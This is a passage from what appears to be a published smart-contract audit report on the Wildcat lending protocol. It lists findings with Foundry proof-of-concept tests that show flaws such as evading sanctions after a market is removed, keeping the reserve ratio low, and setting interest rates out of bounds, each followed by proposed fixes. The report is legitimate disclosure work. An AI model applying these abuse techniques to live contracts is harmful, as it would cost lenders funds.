Since deployMarket() does not revert when creation of the WildcatMarket contract fails, users will pay the origination fee for failed deployments, causing a loss of funds.

Additionally, deployMarket() will not be callable for the same asset, namePrefix and symbolPrefix, thus a user can never deploy a market with these parameters.

Proof of Concept

The following test demonstrates how deployMarket() does not revert even if deployment of the WildcatMarket contract failed, and how it reverts when attempting to deploy the same market with valid parameters afterward:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import 'src/WildcatArchController.sol';
import 'src/WildcatMarketControllerFactory.sol';

import 'forge-std/Test.sol';
import 'test/shared/TestConstants.sol';
import 'test/helpers/MockERC20.sol';

contract MarketDeploymentRevertTest is Test {
    // Wildcat contracts
    WildcatArchController archController;
    WildcatMarketControllerFactory controllerFactory;
    WildcatMarketController controller;
    
    // Test contracts
    MockERC20 originationFeeAsset = new MockERC20();
    MockERC20 marketAsset = new MockERC20();

    // Users
    address BORROWER;

    function setUp() external {
        // Deploy Wildcat contracts
        archController = new WildcatArchController();
        MarketParameterConstraints memory constraints = MarketParameterConstraints({
            minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod,
            maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod,
            minimumReserveRatioBips: MinimumReserveRatioBips,
            maximumReserveRatioBips: MaximumReserveRatioBips,
            minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips,
            maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips,
            minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration,
            maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration,
            minimumAnnualInterestBips: MinimumAnnualInterestBips,
            maximumAnnualInterestBips: MaximumAnnualInterestBips
        });
        controllerFactory = new WildcatMarketControllerFactory(
            address(archController),
            address(0),
            constraints
        );

        // Register controllerFactory in archController
        archController.registerControllerFactory(address(controllerFactory));

        // Setup borrower
        BORROWER = makeAddr("BORROWER");
        originationFeeAsset.mint(BORROWER, 10e18);
        archController.registerBorrower(BORROWER);

        // Deploy controller
        vm.prank(BORROWER);
        controller = WildcatMarketController(controllerFactory.deployController());
    }

    function test_marketDeploymentDoesntRevert() public {
        // Set protocol fee to larger than BIP
        controllerFactory.setProtocolFeeConfiguration(
            address(1),
            address(originationFeeAsset),
            5e18, // originationFeeAmount,
            1e4 + 1 // protocolFeeBips
        );

        string memory namePrefix = "Market ";
        string memory symbolPrefix = "MKT-";

        // deployMarket() does not revert
        vm.startPrank(BORROWER);
        originationFeeAsset.approve(address(controller), 5e18);
        address market = controller.deployMarket(
            address(marketAsset),
            namePrefix,
            symbolPrefix,
            type(uint128).max,
            MaximumAnnualInterestBips,
            MaximumDelinquencyFeeBips,
            MaximumWithdrawalBatchDuration,
            MaximumReserveRatioBips,
            MaximumDelinquencyGracePeriod
        );
        vm.stopPrank();

        // However, the market was never deployed and borrower paid the origination fee
        assertEq(market.code.length, 0);
        assertEq(originationFeeAsset.balanceOf(BORROWER), 5e18);

        // Set protocol fee to valid value
        controllerFactory.setProtocolFeeConfiguration(
            address(1),
            address(originationFeeAsset),
            5e18, // originationFeeAmount,
            0 // protocolFeeBips
        );

        // Call deployMarket() with valid parameters reverts as market address is already registered
        vm.startPrank(BORROWER);
        originationFeeAsset.approve(address(controller), 5e18);
        vm.expectRevert(WildcatArchController.MarketAlreadyExists.selector);
        market = controller.deployMarket(
            address(marketAsset),
            namePrefix,
            symbolPrefix,
            type(uint128).max,
            MaximumAnnualInterestBips,
            MaximumDelinquencyFeeBips,
            MaximumWithdrawalBatchDuration,
            MaximumReserveRatioBips,
            MaximumDelinquencyGracePeriod
        );
        vm.stopPrank();
    }
}

Recommended Mitigation

In create2WithStoredInitCode(), consider checking if the deployment address is address(0), and reverting if so:

LibStoredInitCode.sol#L106-L117

  function create2WithStoredInitCode(
    address initCodeStorage,
    bytes32 salt,
    uint256 value
  ) internal returns (address deployment) {
    assembly {
      let initCodePointer := mload(0x40)
      let initCodeSize := sub(extcodesize(initCodeStorage), 1)
      extcodecopy(initCodeStorage, initCodePointer, 1, initCodeSize)
      deployment := create2(value, initCodePointer, initCodeSize, salt)
+     if iszero(deployment) {
+         mstore(0x00, 0x30116425) // DeploymentFailed()
+         revert(0x1c, 0x04)
+     }
    }
  }

Assessed type

Library

Mitigated here.

WildcatSanctionsSentinel.sol#L95-L102

[M-07] Removing markets from `WildcatArchController` gives lenders immunity from sanctions

Submitted by MiloTruck, also found by josephdara

In WildcatSanctionsSentinel.sol, the createEscrow() function checks that msg.sender is a registered market in the WildcatArchController contract:

  function createEscrow(
    address borrower,
    address account,
    address asset
  ) public override returns (address escrowContract) {
    if (!IWildcatArchController(archController).isRegisteredMarket(msg.sender)) {
      revert NotRegisteredMarket();
    }

This is meant to ensure that createEscrow() can only be called by markets deployed by the protocol, since they are registered using registerMarket().

However, such an implementation does not account for markets that are removed using the removeMarket() function.

If a market is removed, it should still be able to operate normally as a registered market would. However, due to the check shown above, any function that calls createEscrow() will always revert for removed markets, namely nukeFromOrbit() and executeWithdrawal() when they are called for sanctioned lenders.

Impact

If a market is removed, lenders that are sanctioned on Chainalysis cannot be blocked using nukeFromOrbit() since the function will always revert.

This is problematic, as sanctioned addresses will still be able to interact with the market in various ways, such as transferring market tokens, making deposits or calling queueWithdrawal(), when they should not be able to.

Sanctioned lenders will also be unable to call executeWithdrawal() to withdraw their assets from the market into their own escrows.

Proof of Concept

The following test demonstrates how nukeFromOrbit() and executeWithdrawal() will revert for sanctioned lenders when a market is removed from the WildcatArchController contract:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import 'src/WildcatSanctionsSentinel.sol';
import 'src/WildcatArchController.sol';
import 'src/WildcatMarketControllerFactory.sol';
import 'src/interfaces/IWildcatSanctionsSentinel.sol';

import 'forge-std/Test.sol';
import 'test/shared/TestConstants.sol';
import 'test/helpers/MockERC20.sol';

contract CreateEscrowTest is Test {
    // Wildcat contracts
    WildcatSanctionsSentinel sentinel;
    WildcatArchController archController;
    WildcatMarketControllerFactory controllerFactory;
    WildcatMarketController controller;
    WildcatMarket market;
    
    // Test contracts
    MockChainalysis chainalysis = new MockChainalysis();
    MockERC20 asset = new MockERC20();

    // Users
    address AIKEN;
    address DUEET;

    function setUp() external {
        // Deploy Wildcat contracts
        archController = new WildcatArchController();
        sentinel = new WildcatSanctionsSentinel(address(archController), address(chainalysis));
        MarketParameterConstraints memory constraints = MarketParameterConstraints({
            minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod,
            maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod,
            minimumReserveRatioBips: MinimumReserveRatioBips,
            maximumReserveRatioBips: MaximumReserveRatioBips,
            minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips,
            maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips,
            minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration,
            maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration,
            minimumAnnualInterestBips: MinimumAnnualInterestBips,
            maximumAnnualInterestBips: MaximumAnnualInterestBips
        });
        controllerFactory = new WildcatMarketControllerFactory(
            address(archController),
            address(sentinel),
            constraints
        );

        // Register controllerFactory in archController
        archController.registerControllerFactory(address(controllerFactory));

        // Setup Aiken and register him as borrower
        AIKEN = makeAddr("AIKEN");
        archController.registerBorrower(AIKEN);

        // Setup Dueet and give him some asset token
        DUEET = makeAddr("DUEET");
        asset.mint(DUEET, 1000e18);

        // Deploy controller and market for Aiken
        vm.prank(AIKEN);
        (address _controller, address _market) = controllerFactory.deployControllerAndMarket(
            "Market Token",
            "MKT",
            address(asset),
            type(uint128).max,
            MaximumAnnualInterestBips,
            MaximumDelinquencyFeeBips,
            MaximumWithdrawalBatchDuration,
            MaximumReserveRatioBips,
            MaximumDelinquencyGracePeriod
        );
        controller = WildcatMarketController(_controller);
        market = WildcatMarket(_market);
    }

    function test_removingMarketDOSCreateEscrow() public {
        // Register Dueet as lender
        address[] memory arr = new address[](1);
        arr[0] = DUEET;
        vm.prank(AIKEN);
        controller.authorizeLenders(arr);

        // Dueet becomes a lender in the market
        vm.startPrank(DUEET);
        asset.approve(address(market), 1000e18);
        market.depositUpTo(1000e18);

        // Queue withdrawal for Dueet
        market.queueWithdrawal(500e18);
        vm.stopPrank();

        // Time passes until the withdrawal expires
        skip(MaximumWithdrawalBatchDuration);

        // Dueet becomes sanctioned
        chainalysis.sanction(DUEET);

        // Market get removes from archController
        archController.removeMarket(address(market));

        // nukeFromOrbit() reverts for Dueet
        vm.expectRevert(IWildcatSanctionsSentinel.NotRegisteredMarket.selector);
        market.nukeFromOrbit(DUEET);

        // executeWithdrawal() also reverts for Dueet
        vm.expectRevert(IWildcatSanctionsSentinel.NotRegisteredMarket.selector);
        market.executeWithdrawal(DUEET, uint32(block.timestamp));
    }
}

contract MockChainalysis {
    mapping(address => bool) public isSanctioned;

    function sanction(address addr) external {
        isSanctioned[addr] = true;
    }
}

Recommended Mitigation

Consider implementing a way to track removed markets in WildcatArchController. For example, a new EnumerableSet named _removedMarkets could be added.

This can be used to allow removed markets to call createEscrow() as such:

WildcatSanctionsSentinel.sol#L95-L102

  function createEscrow(
    address borrower,
    address account,
    address asset
  ) public override returns (address escrowContract) {
-   if (!IWildcatArchController(archController).isRegisteredMarket(msg.sender)) {
+   if (!IWildcatArchController(archController).isRegisteredMarket(msg.sender) && !IWildcatArchController(archController).isRemovedMarket(msg.sender)) {
      revert NotRegisteredMarket();
    }

Assessed type

Invalid Validation

d1ll0n (Wildcat) confirmed

WildcatMarketController.sol#L472-L485

Mitigated here. Removing the check altogether.

[M-08] `setAnnualInterestBips()` can be abused to keep a market’s reserve ratio at 90%

Submitted by MiloTruck, also found by T1MOH, elprofesor, trachev, t0x1c, ast3ros, joaovwfreire, CaeraDenoir, and rvierdiiev

If a borrower calls setAnnualInterestBips() to reduce a market’s annual interest rate, its reserve ratio will be set to 90% for 2 weeks:

    // If borrower is reducing the interest rate, increase the reserve
    // ratio for the next two weeks.
    if (annualInterestBips < WildcatMarket(market).annualInterestBips()) {
      TemporaryReserveRatio storage tmp = temporaryExcessReserveRatio[market];

      if (tmp.expiry == 0) {
        tmp.reserveRatioBips = uint128(WildcatMarket(market).reserveRatioBips());

        // Require 90% liquidity coverage for the next 2 weeks
        WildcatMarket(market).setReserveRatioBips(9000);
      }

      tmp.expiry = uint128(block.timestamp + 2 weeks);
    }

This is meant to give lenders the option to withdraw from the market should they disagree with the decrease in annual interest rate.

However, such an implementation can be abused by a borrower in a market where the reserve ratio above 90%:

Borrower deploys a market with a reserve ratio at 95%.
A lender, who agrees to a 95% reserve ratio, deposits into the market.
Borrower calls setAnnualInterestBips() to reduce annualInterestBips by 1.
- This causes the market’s reserve ratio to be set to 90% for 2 weeks.
After 2 weeks, the borrower calls setAnnualInterestBips() and decreases annualInterestBips by 1 again.
By repeating steps 3 and 4, the borrower can effectively keep the market’s reserve ratio at 90% forever.

In the scenario above, the 5% reduction in reserve ratio works in favor of the borrower since they do not have to keep as much assets in the market. The amount of assets that all lenders can withdraw at any given time will also be 5% less than what it should be.

Note that it is possible for a market to be deployed with a reserve ratio above 90% if the protocol’s MaximumReserveRatioBips permits. For example, MaximumReserveRatioBips is set to 100% in current tests:

TestConstants.sol#L21

uint16 constant MaximumReserveRatioBips = 10_000;

Impact

In a market where the reserve ratio is above 90%, a borrower can repeatedly call setAnnualInterestBips() every two weeks to keep the reserve ratio at 90%.

This is problematic, as a market’s reserve ratio is not meant to be adjustable post-deployment, since the borrower and their lenders must agree to a fixed reserve ratio beforehand.

Recommended Mitigation

In setAnnualInterestBips(), consider setting the market’s reserve ratio to 90% only if it is lower:

WildcatMarketController.sol#L472-L485

    // If borrower is reducing the interest rate, increase the reserve
    // ratio for the next two weeks.
-   if (annualInterestBips < WildcatMarket(market).annualInterestBips()) {
+   if (annualInterestBips < WildcatMarket(market).annualInterestBips() && WildcatMarket(market).reserveRatioBips() < 9000) {
      TemporaryReserveRatio storage tmp = temporaryExcessReserveRatio[market];

      if (tmp.expiry == 0) {
        tmp.reserveRatioBips = uint128(WildcatMarket(market).reserveRatioBips());

        // Require 90% liquidity coverage for the next 2 weeks
        WildcatMarket(market).setReserveRatioBips(9000);
      }

      tmp.expiry = uint128(block.timestamp + 2 weeks);
    }

Tricky one that we went over several times with wardens. 90% was presented here to illustrate the functionality of setting a higher reserve, rather than one we actually wanted to use. Turns out I misjudged the willingness to bikeshed this point. Not going to quibble over this being a medium, since it’s on me and my documentation.

The relationship between APR and willingness to grant credit is not linear - a 20% decrease in APR may induce far more than that amount of deposits to exit. At the same time, however, insisting on a full return of assets for a small decrease renders the credit facility useless to the borrower, while still leaving them liable to pay interest - in that situation, they might as well force a market closed and restart a different one.

We’ve ultimately chosen to - for this first wave of markets - utilize the following formula:

newReserve = max(max(100%, 2 * (oldRate - newRate)/oldRate)), oldReserve)

As an example, reducing the lender APR of a market from 5% to 3% will require an 80% reserve ratio (twice the 40% relative difference), but if the previous ratio was higher than this, it persists. Meeting point between competing sets of interests.

We’ve implemented this over the course of a few commits.

For images provided, refer to the original comment.

I understand the sponsor’s dissatisfaction about those findings and appreciate the insightful comment, as well as the proposed formula which would avoid the issue. However, it’s my duty to judge the issues with respect to this audit’s codebase (source of truth).

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L358-L388

[M-09] Pending withdrawal batch debt cannot be paid by the borrower until the cycle ends

Submitted by hash

The borrower will have to pay the interest and fees until the end of the withdrawal cycle.

Proof of Concept

To repay a lender who has requested for withdrawal, the borrower is supposed to transfer the assets to the market and call the updateState() function. But the _getUpdatedState() function inside the updateState doesn’t process the withdrawal batch with the latest available assets unless the batch has been expired.

  function _getUpdatedState() internal returns (MarketState memory state) {
    state = _state;
    // Handle expired withdrawal batch
    if (state.hasPendingExpiredBatch()) {
      uint256 expiry = state.pendingWithdrawalExpiry;
      // Only accrue interest if time has passed since last update.
      
       ...... more code 

      _processExpiredWithdrawalBatch(state);
    }

    // Apply interest and fees accrued since last update (expiry or previous tx)
    if (block.timestamp != state.lastInterestAccruedTimestamp) {
      (uint256 baseInterestRay, uint256 delinquencyFeeRay, uint256 protocolFee) = state
        .updateScaleFactorAndFees(
          protocolFeeBips,
          delinquencyFeeBips,
          delinquencyGracePeriod,
          block.timestamp
        );
      emit ScaleFactorUpdated(state.scaleFactor, baseInterestRay, delinquencyFeeRay, protocolFee);
    }
  }

This will lead to the borrower paying the interest and fees, even though the pending withdrawal debt has been repaid to the market.

Demo

Add the following file in the test folder and run forge test --mt testBorrowerHasToPayInterestTillTheCycleEndEvenAfterReturningAsset:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import { MockERC20 } from 'solmate/test/utils/mocks/MockERC20.sol';

import './shared/Test.sol';
import './helpers/VmUtils.sol';
import './helpers/MockController.sol';
import './helpers/ExpectedStateTracker.sol';
import {MarketStateLib} from "../src/libraries/MarketState.sol";

contract TestPending is Test {
  using stdStorage for StdStorage;
  using FeeMath for MarketState;
  using SafeCastLib for uint256;

  MockERC20 internal asset;

  function setUp() public {
    setUpContracts(false);
  }

  function setUpContracts(bool disableControllerChecks) internal {
    if (address(controller) == address(0)) {
      deployController(borrower, false, disableControllerChecks);
    }
  }

  MarketParameters internal parameters;

  function testBorrowerHasToPayInterestTillTheCycleEndEvenAfterReturningAsset() public {
    uint32 withdrawalBatchDuration =  DefaultWithdrawalBatchDuration; // 86400
    uint16  delinquencyFee = DefaultDelinquencyFee;
    uint32  gracePeriod =  DefaultGracePeriod;
    
    parameters =
    MarketParameters({
      asset: address(0),
      namePrefix: 'Wildcat ',
      symbolPrefix: 'WC',
      borrower: borrower,
      controller: address(0),
      feeRecipient: feeRecipient,
      sentinel: address(sanctionsSentinel),
      maxTotalSupply: uint128(DefaultMaximumSupply),
      protocolFeeBips: DefaultProtocolFeeBips,
      annualInterestBips: DefaultInterest,
      delinquencyFeeBips: delinquencyFee,
      withdrawalBatchDuration: withdrawalBatchDuration,
      reserveRatioBips: DefaultReserveRatio,
      delinquencyGracePeriod: gracePeriod
    });

    parameters.controller = address(controller);
    parameters.asset = address(asset = new MockERC20('Token', 'TKN', 18));
    deployMarket(parameters);
    _authorizeLender(alice);
    asset.mint(alice, type(uint128).max);
    asset.mint(bob, type(uint128).max);

    _approve(alice, address(market), type(uint256).max);
    _approve(bob, address(market), type(uint256).max);

    
        uint256 availableCollateral = market.borrowableAssets();
        assertEq(availableCollateral, 0, 'borrowable should be 0');
    
        vm.prank(alice);
        market.depositUpTo(50_000e18);
        assertEq(market.borrowableAssets(), 40_000e18, 'borrowable should be 40k');
        vm.prank(borrower);
        market.borrow(40_000e18);
        assertEq(asset.balanceOf(borrower), 40_000e18);
      
        // alice requests to withdraw the deposit
        vm.prank(alice);
        market.queueWithdrawal(50_000e18);

        // 10_000 is filled with alices own amount. due to remaining the market has become delinquent
        assertEq(market.currentState().isDelinquent,true);

        uint128 normalizedUnclaimedWithdrawals = market.currentState().normalizedUnclaimedWithdrawals;        
        uint256 pendingDebt = market.totalSupply();
        assertEq(normalizedUnclaimedWithdrawals,10_000e18);
        assertEq(pendingDebt,40_000e18);

      // borrower deposits the debt back to avoid the delinquency fee. 
        vm.prank(borrower);
        asset.transfer(address(market),40_000e18);
        market.updateState();
        
        // but since not expired, the pending withdrawal debt is not closed making the borrower pay interest till the cycle end
        assertEq(market.totalSupply(),pendingDebt); 
       
        fastForward(withdrawalBatchDuration);
        market.updateState();

        // when expriy time passes the pending withdrawal debt will be matched with repayed debt and the protocol fee. but interest generated by this amount still remains
        uint initialTotalAmount = normalizedUnclaimedWithdrawals + pendingDebt;
        assertEq(market.currentState().normalizedUnclaimedWithdrawals + market.currentState().accruedProtocolFees,initialTotalAmount);
        uint extraDebtFromInterestExculdingTheProtocolFee = market.totalSupply();

        assertGt(extraDebtFromInterestExculdingTheProtocolFee,0);
        
  }

  function _authorizeLender(address account) internal asAccount(parameters.borrower) {
    address[] memory lenders = new address[](1);
    lenders[0] = account;
    controller.authorizeLenders(lenders);
  }

 

  function _approve(address from, address to, uint256 amount) internal asAccount(from) {
    asset.approve(to, amount);
  }
}

Recommended Mitigation Steps

Use _applyWithdrawalBatchPayment() in _getUpdatedState() similar to the implementation in queueWithdrawal().

Assessed type

Timing

d1ll0n (Wildcat) acknowledged

[M-10] Function `WildcatMarketController.setAnnualInterestBips` allows for values outside the factory range

Submitted by 3docSec, also found by stackachu, serial-coder, Toshii, josephdara, MiloTruck, gizzy, smiling_heretic, TrungOre, Tricko, 0xbrett8571, ZdravkoHr, deth, joaovwfreire, caventa, 0xbepresent, b0g0, ggg_ttt_hhh, Eigenvectors, cu5t0mpeo, and 0xCiphky

When a WildcatMarketController is created, it is hardcoded with a MinimumAnnualInterestBips and MaximumAnnualInterestBips range that cannot be changed; these values come from WildcatMarketControllerFactory where they are specified by the protocol owners.

When a market is created at the borrower’s request, the annual interest requested by the borrower is validated to sit within these bounds.

However, the borrower is also allowed to change this value at a later point through the WildcatMarketController.setAnnualInterestBips function. This entry point does not offer any validation, except for the downstream WildcatMarket.setAnnualInterestBips that checks for the value not to exceed BIPS.

Impact

After the creation of a market, the borrower is allowed to change its annual interest outside the bounds allowed by the protocol.

Proof of Concept

    function testArbitraryInterestRate() public {
        WildcatArchController archController = new WildcatArchController();
        SanctionsList sanctionsList = new SanctionsList();
        WildcatSanctionsSentinel sentinel = new WildcatSanctionsSentinel(
            address(archController), 
            address(sanctionsList));


        // the protocol mandates a 10% annual interest
        WildcatMarketControllerFactory controllerFactory = new WildcatMarketControllerFactory(
            address(archController), // _archController,
            address(sentinel), // _sentinel,
            MarketParameterConstraints( // constraints
                uint32(0), // minimumDelinquencyGracePeriod;
                uint32(0), // maximumDelinquencyGracePeriod;
                uint16(0), // minimumReserveRatioBips;
                uint16(0), // maximumReserveRatioBips;
                uint16(0), // minimumDelinquencyFeeBips;
                uint16(0), // maximumDelinquencyFeeBips;
                uint32(0), // minimumWithdrawalBatchDuration;
                uint32(0), // maximumWithdrawalBatchDuration;
                uint16(10_00), // minimumAnnualInterestBips;
                uint16(10_00)  // maximumAnnualInterestBips;
            )
        );

        address borrower = address(uint160(uint256(keccak256("borrower"))));

        archController.registerBorrower(borrower);
        archController.registerControllerFactory(address(controllerFactory));

        MockERC20 token = new MockERC20();

        vm.startPrank(borrower);
        WildcatMarketController controller = WildcatMarketController(
            controllerFactory.deployController());

        // the borrower creates a market with 10% annual interest - all good till now
        address market = controller.deployMarket(
            address(token), // asset,
            "3d", // namePrefix,
            "3", // symbolPrefix,
            type(uint128).max, // maxTotalSupply,
            10_00, // annualInterestBips
            0, // delinquencyFeeBips,
            0, // withdrawalBatchDuration,
            0, // reserveRatioBips,
            0 // delinquencyGracePeriod
        );

        // now, the borrower is allowed to change the interest below 10%
        // which is not allowed by the protocol config
        controller.setAnnualInterestBips(market, 5_00);

        // and get away with it
        assertEq(5_00, WildcatMarket(market).annualInterestBips());
    }

Tools Used

Foundry

Recommended Mitigation Steps

Consider introducing the validation of the new interest rate:

  // WildcatMarketController.sol:468
  function setAnnualInterestBips(
    address market,
    uint16 annualInterestBips
  ) external virtual onlyBorrower onlyControlledMarket(market) {
+   assertValueInRange(
+     annualInterestBips,
+     MinimumAnnualInterestBips,
+     MaximumAnnualInterestBips,
+     AnnualInterestBipsOutOfBounds.selector
+   );
    // If borrower is reducing the interest rate, increase the reserve
    // ratio for the next two weeks.

Assessed type

Invalid Validation

Mitigated here, adjusted to proposed solution with this commit.

laurenceday (Wildcat) confirmed and commented:

[M-11] Return values of `transfer()`/`transferFrom()` not checked and unsafe usage

Submitted by henry

Note: This finding was reported via the winning Automated Findings report. It was declared out of scope for the audit, but is being included here for completeness.

Return values not checked

Not all ERC20 implementations revert() when there’s a failure in transfer() or transferFrom(). The function signature has a boolean return value and they indicate errors that way instead. By not checking the return value, operations that should have marked as failed, may potentially go through without actually transfer anything.

Unsafe usage

Some tokens do not implement the ERC20 standard properly. For example, Tether (USDT)‘s transfer() and transferFrom() functions do not return booleans as the ERC20 specification requires, and instead have no return value. When these sorts of tokens are cast to IERC20/ERC20, their function signatures do not match and therefore the calls made will revert. It is recommended to use the SafeERC20’s safeTransfer() and safeTransferFrom() from OpenZeppelin instead.

Instances

There is 1 instance of these issues:

WildcatSanctionsEscrow.sol (#L38)

38:     IERC20(asset).transfer(account, amount);

Fixed by utilising SafeERC20.

WildcatMarketController Line 169

Even checking the return values of ERC-20 transfers is problematic and insufficient due to popular tokens like USDT deviating from the spec. One always has to use SafeERC20 (as already mentioned by the sponsor), otherwise this is a valid Medium severity finding.

However, there is an exception in case the transferred tokens cannot be chosen freely by the users but need to be whitelisted. Also there are occasions where only a protocol’s own correctly implemented tokens can be used (Wildcat market tokens for example). In these cases, the severity is only Informational, since no malfunction can occur.

In case of Wildcat, if I remember correctly, the WildcatSanctionsEscrow contract could hold user-defined assets and not only their own market tokens. Therefore, Medium severity is justified.

Low Risk and Non-Critical Issues

For this audit, 42 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by J4X received the top score from the judge.

The following wardens also submitted reports: radev_sw, serial-coder, VAD37, MiloTruck, osmanozdemir1, t0x1c, 3docSec, ggg_ttt_hhh, inzinko, 0xbepresent, Fulum, Phantom, 0xComfyCat, Udsen, DeFiHackLabs, nonseodion, Mike_Bello90, devival, karanctf, DavidGiladi, jasonxiale, ast3ros, josieg_74497, ZdravkoHr, deth, ke1caM, 0xStalin, YusSecurity, 0x3b, GREY-HAWK-REACH, caventa, Drynooo, nisedo, SHA_256, deepkin, InAllHonesty, 0xCiphky, rvierdiiev, nobody2018, MatricksDeCoder, and T1MOH.

Low Issues

[L-01] Lenders can also deposit when not authorized on the controller

Issue Description

The audit description incorrectly states that “Lenders that are authorized on a given controller (i.e. granted a role) can deposit assets to any markets that have been launched through it.”. However, this is not the case as borrowers need to call updateLenderAuthorization() when deauthorizing a lender. If a borrower forgets to call this function, the lender can be deauthorized on the controller but still deposit new funds into the market until the lender or someone else calls updateLenderAuthorization.

Recommended Mitigation Steps

It is recommended to update the documentation to state that this is only correct if updateLenderAuthorization() was called afterward. If the intent is to have the functionality work as described in the audit description, an atomic removal of lenders would need to be implemented.

[L-02] No controllers can be deployed if certain tokens are chosen as `feeAsset`

WildcatMarketController Line 345

Issue Description

The MarketControllerFactory allows for setting an originationFeeAsset, as well as originationFeeAmount, which are used to send a fee to the recipient each time a new market is deployed. When a market is deployed, the originationFeeAmount of the originationFeeAsset is transferred from the borrower to the feeRecipient. There is one additional check in place that verifies if the originationFeeAsset address is 0 and only transfers a fee if it is not zero.

if (originationFeeAsset != address(0)) {
	originationFeeAsset.safeTransferFrom(borrower, parameters.feeRecipient, originationFeeAmount);
}

The issue with this implementation is that some tokens, like LEND, may revert in case of a zero transfer. This means that if a token like LEND is set as the originationFeeAsset, and later on the fee is reduced to zero, this function will always fail to execute, preventing any new markets from being deployed.

Additionally, not checking for zero transfers could lead to gas waste in the case of a token that does not revert but simply transfers nothing during a zero transfer.

Recommended Mitigation Steps

To fix this issue, an additional check needs to be added to the if clause, ensuring that originationFeeAmount is greater than zero:

if (originationFeeAsset != address(0) && originationFeeAmount > 0) {
	originationFeeAsset.safeTransferFrom(borrower, parameters.feeRecipient, originationFeeAmount);
}

[L-03] `getDeployedControllers()` will not return the last index

WildcatMarketControllerFactory Line 138

Issue Description

The getDeployedControllers() function takes a start and end index of the controllers to be retrieved. However, due to the current implementation of the function, it only returns controllers from the start index to end-1. In other words, the controller at the end index is not included in the returned list.

POC

This simple POC can be added to the WIldcatMarketController test to check for the issue.

function test_getControllers() external {
//Deploy 10 contracts
	for(uint256 i = 0; i < 10; i++)
	{
		controllerFactory.deployController();
	}
	  
	//Want to access 2-7 (6 controllers)
	address[] memory controllers = controllerFactory.getDeployedControllers(2, 7);
	
	//Check that the length is correct
	require(controllers.length == 5, "We have not received an incorrect number");
	
	//We only received controllers 2-6 due to the implementation
}

The same issue also exists in the functions:

WildcatMarketController.getAuthorizedLenders()
WildcatMarketController.getControlledMarkets()
WildcatArchController.getRegisteredBorrowers()
WildcatArchController.getRegisteredControllerFactories()
WildcatArchController.getRegisteredControllers()
WildcatArchController.getRegisteredMarkets()

Recommended Mitigation Steps

To resolve this issue, the getDeployedControllers() function should be rewritten as follows:

function getDeployedControllers(
uint256 start,
uint256 end
) external view returns (address[] memory arr) {
	uint256 len = _deployedControllers.length();
	end = MathUtils.min(end, len-1);
	uint256 count = end - start + 1;
	arr = new address[](count);
	for (uint256 i = 0; i < count; i++) {
		arr[i] = _deployedControllers.at(start + i);
	}
}

The same change should be applied to other affected functions as well.

[L-04] Rebasing tokens will lead to borrowers needing to pay a lower APR

Issue Description

Rebasing tokens, which are not excluded from the audit, can be used as underlying assets for markets deployed using the protocol. Rebasing tokens can be implemented in various ways, but the critical point is when the balance of addresses holding the tokens gradually increases. As borrowers/market contracts hold these tokens while they are lent, the newly accrued tokens may either be credited to the borrower, or inside the market itself, which would count as the borrower adding liquidity. This can result in the borrower needing to pay a lower Annual Percentage Rate (APR) than initially set.

Recommended Mitigation Steps

This issue can be mitigated in several ways:

Option 1: Disallow rebasing tokens from the protocol to prevent this situation.

Option 2: Add a warning to the documentation, informing users that when lending rebasing tokens, the rebasing interest their tokens gain while inside the market will be counted as the borrower paying down their debt.

Option 3 (Complicated): Implement functionality for rebasing tokens by checking the market’s balance at each interaction and adding the change to a separate variable that tracks rebasing awards.

[L-05] Reserve ratio can be set to 100%

MarketControllerFactory Line 85

Issue Description

The protocol allows borrowers to set a reserve ratio that they must maintain to avoid being charged a delinquency fee. In the current implementation, this parameter can be set to 100%, rendering the entire functionality redundant, as borrowers would not be able to withdraw any funds from the market. Additionally, the market would fall into delinquency immediately after the start.

Recommended Mitigation Steps

To mitigate this issue, modify the check on maximumReserveRatioBips to revert if constraints.maximumReserveRatioBips >= 10000.

[L-06] `scaleFactor` can theoretically overflow

FeeMath Line 169

Issue Description

The scaleFactor of a market is multiplied by the fee rate to increase the scale. In a very rare edge case, where a market has a 100% interest (e.g., a junk bond) and is renewed each year with the borrower paying lenders the full interest, the scale factor would overflow after 256 years (as the scale factor doubles every year) when it attempts to increase during the withdrawal amount calculation.

Recommended Mitigation Steps

While this issue is unlikely to occur in practice, a check should be added in the withdrawal process to prevent an overflow. If an overflow is detected, lenders should be forced to withdraw with a scale factor of uint256.max, and the borrower should close the market.

[L-07] Misleading ERC20 queries `balanceOf()` and `totalSupply()`

WildcatMarketToken Line 16

WildcatMarketToken Line 22

Issue Description

The WildcatMarketToken contract includes standard ERC20 functions, balanceOf() and totalSupply(). However, these functions return the balance of the underlying tokens instead of the market tokens. This discrepancy between the function names and their actual behavior could lead to confusion or issues when interacting with other protocols.

Recommended Mitigation Steps

To address this issue, it is recommended to rename the existing functions to balanceOfScaled() and totalScaledSupply(), and additionally implement balanceOf() and totalSupply() functions that return the balance of the market token.

[L-08] Closed markets can’t be reopened

WildcatMarket Line 142

Issue Description

Markets include a functionality where users can close markets directly, effectively transferring all funds back into the market and setting the isClosed parameter of the state to true. While this prevents new lenders from depositing into the market, it only allows lenders to withdraw their funds and interest. The issue is that, once a borrower uses this function, the market cannot be reopened. If the borrower wants to have another market for the same asset, they must deploy a new market with a new prefix to avoid salt collisions. If a borrower does this often it might end up in the Market names looking like “CodearenaV1234.56DAI” due to new prefixes being needed each time. Additionally, the markets list would get more and more bloated.

Recommended Mitigation Steps

To mitigate this issue, borrowers should be allowed to reset a market. This would require all lenders to withdraw their funds before the reset, but it would reset all parameters, including the scale factor, allowing the market to be restarted.

[L-09] Choosable prefix allows borrowers to mimic other borrowers.

WildcatMarketBase Line 97

Issue Description

